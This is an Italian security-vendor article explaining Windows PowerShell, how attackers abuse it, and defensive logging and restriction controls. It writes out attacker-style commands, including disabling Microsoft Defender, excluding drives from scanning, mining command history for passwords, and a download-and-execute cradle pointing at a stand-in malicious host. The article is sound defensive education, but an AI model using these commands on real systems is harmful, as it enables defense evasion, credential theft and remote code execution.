Skip to main content
Sicurezza informatica

Che cos'è Windows PowerShell?

Windows PowerShell è un potente strumento di automazione. Scoprite le sue implicazioni per la sicurezza e come usarlo in modo sicuro nel vostro ambiente.

Di SentinelOne
Che cos'è Windows PowerShell?

Windows PowerShell è un potente linguaggio di scripting e una shell a riga di comando per automatizzare le attività e gestire le configurazioni. Questa guida ne esplora le funzionalità, anche nell'amministrazione dei sistemi e nella sicurezza.

Scoprite i comandi PowerShell più comuni, le best practice per gli script e come usare PowerShell nella cybersecurity. Conoscere PowerShell è essenziale per i professionisti IT e della sicurezza.

Windows PowerShell - Featured Image | SentinelOne

Quale impatto può avere PowerShell sulle risorse più preziose della vostra azienda? Scoprite le basi di PowerShell, perché attira gli hacker e come proteggere la vostra azienda

Microsoft PowerShell è una shell a riga di comando e un linguaggio di scripting usato per automatizzare le attività e gestire i sistemi Windows. Amministratori e professionisti della sicurezza lo usano spesso per automatizzare le attività di routine, gestire e monitorare i sistemi e automatizzare le risposte agli incidenti di sicurezza. Gli aggressori usano spesso PowerShell per ottenere accessi non autorizzati ai sistemi ed eseguire codice dannoso.

Microsoft PowerShell è disponibile su Windows fin dal 2006, ma ora è la shell dei comandi per File Explorer su Windows 10 e ha in gran parte sostituito il vecchio strumento cmd.exe. Sebbene gli utenti comuni lo considerino spesso difficile da comprendere, PowerShell è diventato essenziale per i team IT e gli amministratori di rete grazie alla sua flessibilità e potenza. In questa guida introduttiva spiegheremo le basi di PowerShell, perché attira gli hacker e gli autori di malware e cosa potete fare per proteggere la vostra organizzazione.

Scegliete la versione più adatta

Se digitate ‘PowerShell’ nel campo di ricerca di Cortana, vedrete due opzioni: PowerShell ISE e l'app desktop PowerShell. Inoltre, se fate clic con il tasto destro sul menu Start o sull'icona di una delle due versioni di PowerShell nella barra delle applicazioni, vedrete che potete avviarle in due modi: come utente corrente o come amministratore.

A screenshot image of Window

Gli amministratori che vogliono automatizzare le attività comuni useranno probabilmente l'interfaccia ISE per sviluppare moduli e script PowerShell. Per l'uso interattivo, invece, la maggior parte sceglierà l'app desktop PowerShell e la eseguirà come amministratore o come utente corrente, a seconda dell'attività.

Potreste anche sentir parlare di PowerShell Core, una versione open source multipiattaforma che funziona non solo su Windows, ma anche su Linux e macOS:

A screenshot image of Macintosh HD scripts

Fate però attenzione: viene installata come file binario non firmato e potrebbe essere facilmente sostituita da una versione dannosa. Se avete endpoint che usano PowerShell Core, assicuratevi che la vostra organizzazione lo firmi con un certificato appropriato o esegua controlli shasum regolari per verificare che non sia stato manomesso.

Sebbene le diverse versioni di PowerShell presentino alcune differenze nelle funzionalità, tutte possono eseguire sessioni remote tramite SSH e interagire con un'ampia gamma di processi e servizi. PowerShell può persino interagire con il registro di Windows e il registro eventi. Questo significa che anche un aggressore con accesso a PowerShell può sfruttare le stesse possibilità.

Sfruttate la potenza di PowerShell

Potete iniziare a esplorare le funzionalità di PowerShell con due semplici comandi:

Get-Module -ListAvailable

per elencare i moduli disponibili, e

Get-Command

per elencare i comandi disponibili:

Window

Vediamo rapidamente alcuni esempi. Supponiamo che voi, o un aggressore, stiate esplorando una directory di documenti e vogliate scoprire rapidamente se contiene qualcosa di interessante. Il comando seguente mostra le prime e le ultime due righe di ogni file di testo nella directory, esplorando ricorsivamente le sottodirectory e includendo i file nascosti o invisibili. Invia inoltre l'output a un altro file di testo, che potrete esaminare o recuperare in seguito:

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

Per chi cerca documenti che potrebbero iniziare con “Riservato” o terminare con la qualifica dell'autore, come “Chief Financial Officer”, questo è un modo rapido e approssimativo per individuare gli elementi di interesse.

Per eliminare un elemento, magari per cancellare le prove di un'intrusione, basta usare

Remove-Item <path>

PowerShell permette inoltre di manipolare il sistema operativo in modi interessanti e, purtroppo, pericolosi. Se un autore di malware vuole aggirare il motore antivirus Microsoft Defender preinstallato, può disattivarlo eseguendo un comando PowerShell con i privilegi appropriati:

Set-MpPreference -DisableRealTimeMonitoring $true

oppure, in modo meno evidente, escludere un'unità o un percorso dalla scansione:

Add-MpPreference -ExclusionPath “c:”

PowerShell rende semplice per gli aggressori anche operazioni come elencare le unità di rete e consultare il registro eventi, utili per trovare informazioni sfruttabili, rispettivamente con Get-PSDrive e Get-EventLog.

A screenshot image of Window

Sia gli utenti sia gli aggressori possono leggere la cronologia dei comandi immessi in modo interattivo nella riga di comando, inclusi gli argomenti passati. La cronologia è memorizzata nel percorso restituito da questo comando:

(Get-PSReadLineOption).HistorySavePath

e possiamo usare cat e il cmdlet Select-String (o il suo alias sls) per cercare efficacemente elementi di interesse tra i comandi, come con “grep” (per esempio, le password!):

A screenshot of Tweet that Nikhil Mittal

Script e kit di exploit

Tuttavia, l'uso di PowerShell dalla riga di comando non offre agli aggressori le opportunità maggiori. Più pericolosa è la capacità di PowerShell di eseguire script sia in memoria (i cosiddetti attacchi malware “fileless”) sia da disco. In entrambi i casi, l'esecuzione può avvenire direttamente su un host o da remoto.

Come il comando eval della shell Unix, PowerShell dispone di Invoke-Expression (e del suo alias iex), che permette di scaricare ed eseguire uno script dannoso in memoria. Possiamo aggiungere Bypass per tentare di aggirare una policy di esecuzione restrittiva:

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

Non sorprende che siano comparsi rapidamente interi framework di exploit che sfruttano appieno le potenzialità di PowerShell.

Il primo tra questi è PowerSploit, una raccolta di script PowerShell usati per manipolare e controllare il computer della vittima.

A screenshot image of AntivirusBypass scripts

PowerShell Empire si basa sul lavoro di PowerSploit e di diversi altri progetti. È uno strumento di post-exploit che elude il rilevamento di rete, esegue keylogger e avvia altri moduli come Mimikatz per estrarre direttamente dalla memoria password in chiaro, hash delle password e altri dati.

Screenshot image of PowerShell post-exploitation Empire

L'ascesa degli attacchi PowerShell

La creazione di script e comandi PowerShell eseguibili da altri tipi di file Windows, come i file, .exe, .bat, .wsf e .LNK è uno dei motivi per cui il malware basato su PowerShell è aumentato negli ultimi anni. Secondo una stima che attribuisce agli exploit PowerShell quasi il 40% degli incidenti causati da malware, è chiaro che gli avversari lo usano in campagne molto diverse, dal ransomware al furto di credenziali e ai trojan bancari. PowerShell è stato coinvolto anche in frodi sui clic, intercettazione di password ed esfiltrazione di dati.

DNSMessenger è un malware che è stato osservato diffondersi tramite una macro in un documento Word. Sfrutta abilmente il codice sorgente VBA per trasmettere comandi PowerShell codificati, mantenere la persistenza, distribuire il payload e comunicare con un server C&C.

Sorprendentemente, alcuni attacchi PowerShell non richiedono nemmeno il file PowerShell.exe integrato. Strumenti come PowerShdll e InsecurePowerShell eseguono gli script direttamente sfruttando System.Management.Automation.dll, su cui si basa il file binario di PowerShell. In breve, l'eseguibile PowerShell è solo un host o un wrapper del codice effettivo contenuto nella libreria a collegamento dinamico. Gli attacchi possono sfruttare questa caratteristica per indurre praticamente qualsiasi processo a eseguire script e comandi PowerShell.

Tra gli altri usi creativi di PowerShell figurano l'incorporamento di uno script PowerShell nei pixel di un file PNG e la generazione di un comando su un'unica riga per eseguirlo con Invoke-PSImage, oppure la conversione di script PowerShell in file EXE con strumenti come PS2EXE.

Gestire PowerShell

A questo punto è chiaro che bloccare semplicemente PowerShell.exe sarebbe inutile. Inoltre, graverebbe sugli amministratori di sistema che ormai fanno affidamento sulle sue funzionalità. PowerShell e le DLL su cui si basa sono parti integranti del sistema operativo Windows. Con l'arrivo di PowerShell Core, queste funzionalità si estendono anche alla gestione multipiattaforma, che le aziende potrebbero ritenere essenziale.

Una soluzione aziendale efficace per gestire la duplice natura di PowerShell è una piattaforma come SentinelOne, che analizza il comportamento dei processi in esecuzione sull'endpoint. Questo approccio è efficace perché i processi si comportano in modo simile indipendentemente da come vengono condotti gli attacchi malware. L'agente SentinelOne monitora tutte le attività sull'agente per distinguere quelle malevole da quelle innocue. Poiché l'agente dispone già del contesto completo: utenti, processi, argomenti della riga di comando, registro di sistema, file su disco e comunicazioni esterne, le attività malevole possono essere contrastate indipendentemente dalla loro origine.


Vi è piaciuto questo articolo? Seguiteci su LinkedIn, Twitter, YouTube o Facebook per scoprire i contenuti che pubblichiamo.

Scoprite di più sulla sicurezza di Windows

Callout Background Image Gradient

Cybersicurezza alimentata dall'intelligenza artificiale

Elevate la vostra posizione di sicurezza con il rilevamento in tempo reale, la risposta automatica e la visibilità totale dell'intero ambiente digitale.

Domande frequenti su Windows PowerShell

Windows PowerShell è una shell a riga di comando e un linguaggio di scripting di Microsoft basato su .NET Framework. Potete usare i cmdlet—semplici comandi nel formato verbo-sostantivo—per automatizzare attività come la gestione del file system, del registro e dei servizi.

PowerShell elabora e restituisce oggetti anziché testo semplice, così potete passare dati strutturati da un cmdlet all'altro tramite pipeline. Supporta anche l'esecuzione remota, i moduli e la guida nella console per la gestione dei sistemi.

A differenza del vecchio CMD, PowerShell usa cmdlet nel formato verbo-sostantivo e lavora con oggetti .NET anziché con flussi di testo. Potete quindi concatenare i comandi tramite pipeline senza analizzare il testo. Gli script PowerShell possono chiamare direttamente le API .NET, gestire gli errori in modo più avanzato e usare moduli.

Le shell tradizionali gestiscono solo testo semplice e script batch di base, mentre PowerShell offre un ambiente di scripting completo per l'automazione e la configurazione.

La profonda integrazione di PowerShell con il sistema e le sue capacità di scripting lo rendono uno strumento apprezzato sia dagli amministratori sia dagli aggressori. Gli autori delle minacce usano tecniche fileless—eseguendo script in memoria—per eludere il rilevamento.

PowerShell può disabilitare le difese, scaricare codice malevolo o sottrarre credenziali senza scrivere su disco. La sua diffusione in Windows impone ai team di sicurezza di considerare le attività di PowerShell ad alto rischio e monitorarle attentamente per rilevare eventuali abusi.

Secondo uno studio di Cisco, PowerShell è stato coinvolto in oltre un terzo delle minacce alla sicurezza critiche sugli endpoint. Carbon Black ha rilevato abusi di PowerShell nel 38% degli incidenti, spesso in attività successive allo sfruttamento delle vulnerabilità, come il movimento laterale o il furto di credenziali.

Anche se l'uso normale è limitato, PowerShell compare in circa un caso su quattordici di attività malevole confermate.

Attivate tutte le funzionalità di logging di PowerShell: registrazione dei moduli, dei blocchi di script e delle trascrizioni. Impostate la dimensione dei log ad almeno 150 MB e raccogliete gli eventi da

Microsoft-Windows-PowerShell/Operational e PowerShellCore/Operational. Inviate i log a SIEM o XDR. Bloccate gli script avviati da processi padre non attendibili e limitate l'esecuzione ai soli script firmati. Attivate Protected Event Logging per ottenere ulteriori dettagli.

Usate Just Enough Administration (JEA) per limitare l'accesso degli utenti ai soli cmdlet approvati. Applicate la modalità linguaggio vincolato per disabilitare COM, WMI e le espressioni complesse. Distribuite criteri di Application Control (ad esempio, WDAC) per inserire gli script firmati in una lista di elementi consentiti.

Mantenete PowerShell aggiornato alla versione v5.1 o successiva. Rivedete e ottimizzate regolarmente le impostazioni di logging per registrare ogni esecuzione di script.

Bloccare completamente PowerShell può compromettere la gestione dei sistemi e l'amministrazione remota. Microsoft sconsiglia di rimuoverlo del tutto. Limitatene invece l'esecuzione agli amministratori autorizzati, applicate controlli sulle applicazioni e impedite che PowerShell venga avviato da processi padre non attendibili, come le applicazioni Office.

Insieme al logging e al monitoraggio, questi controlli bloccano la maggior parte degli usi malevoli senza ostacolare le operazioni legittime.

Con PowerShell potete automatizzare la risposta agli incidenti, raccogliere rapidamente dati forensi e cercare le minacce. Potete scrivere script per raccogliere in pochi minuti artefatti del registro, elenchi di processi e connessioni di rete. Conoscere PowerShell vi aiuta anche a comprendere le tecniche degli aggressori, poiché molti strumenti usati dopo lo sfruttamento delle vulnerabilità (Empire, Cobalt Strike) si basano su PowerShell.

Gli script PowerShell possono raccogliere dati dalla memoria attiva, dalle chiavi di esecuzione automatica del registro, dai log degli eventi e dalla rete per il triage. Strumenti della community come DFIR-Script automatizzano la raccolta delle prove sugli endpoint. Chi si occupa di ricerca delle minacce usa PowerShell per interrogare Windows Event ID 4104 alla ricerca di blocchi di script malevoli, analizzare l'output e inviare i risultati ai playbook SOAR. PowerShell è quindi parte integrante dei flussi di lavoro di rilevamento, contenimento e remediation.

Scopri di più su Sicurezza informatica

Decorative background gradient

Scopri la piattaforma di cybersecurity più avanzata

Scopri come la piattaforma di cybersecurity autonoma e più intelligente al mondo può proteggere la tua organizzazione oggi e in futuro.
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text